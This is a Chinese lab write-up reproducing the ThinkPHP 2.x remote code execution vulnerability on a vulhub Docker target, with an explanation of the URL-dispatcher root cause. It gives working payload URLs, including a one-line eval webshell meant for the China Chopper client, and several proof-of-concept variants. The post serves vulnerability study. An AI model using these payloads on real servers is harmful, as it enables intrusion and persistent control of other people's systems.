rce php远程命令执行,漏洞复现-2.x rce-Thinkphp远程命令执行

漏洞复现-2.x rce-Thinkphp远程命令执行

0x00实验环境

攻击机:win10

靶机:Ubuntu18 (docker搭建的vulhub靶场)

0x01实验引用

影响Thinkphp 2.x的版本

0x02实验目的

学习更多的命令执行姿势,同时了解thinkphp 2.x命令执行的原理

0x03实验步骤

访问页面,发现是一个Thinkphp的CMS框架,由于是漏洞复现,我们能很清楚的知道它的版本是2.x。如果不知道版本可通过乱输入路径进行报错,或是使用云悉指纹识别进行检测

20200712081127-5f0ac5afc0e88.png

此时输入已爆出的远程代码执行命令即可复现漏洞:

/index.php?s=/index/index/xxx/${@phpinfo()} //phpinfo敏感文件

/index.php?s=a/b/c/${@print(eval($_POST[1]))} //此为一句话连菜刀

20200712081128-5f0ac5b0d11d0.png

这里只要将phpinfo换成一句话木马即可成功!

0x04实验原理

(1)通过观察这句话,我们可以清楚地知道它是将

${@phpinfo()}

作为变量输出到了页面显示,其原理,我通过freebuf总结一下:

在PHP当中,${}是可以构造一个变量的,{}写的是一般的字符,那么就会被当成变量,比如${a}等价于$a

thinkphp 所有的主入口文件默认访问index控制器(模块)

thinkphp 所有的控制器默认执行index动作(方法)

http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]

数组$var在路径存在模块和动作时,会去除掉前2个值。而数组$var来自于explode($depr,trim($_SERVER['PATH_INFO'],'/'));也就是路径。

所以我们可以构造poc如下:

/index.php?s=a/b/c/${phpinfo()}

/index.php?s=a/b/c/${phpinfo()}/c/d/e/f

/index.php?s=a/b/c/d/e/${phpinfo()}

.......

(2)简而言之,就是在thinphp的类似于MVC的框架中,存在一个Dispatcher.class.php的文件,它规定了如何解析路由,在该文件中,存在一个函数为static public function dispatch(),此为URL映射控制器,是为了将URL访问的路径映射到该控制器下获取资源的,而当我们输入的URL作为变量传入时,该URL映射控制器会将变量以数组的方式获取出来,从而导致漏洞的产生。

类名为`Dispatcher`,class Dispatcher extends Think

里面的方法有:

static public function dispatch() URL映射到控制器

public static function getPathInfo() 获得服务器的PATH_INFO信息

static public function routerCheck() 路由检测

static private function parseUrl($route)

static private function getModule($var) 获得实际的模块名称

static private function getGroup($var) 获得实际的分组名称

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值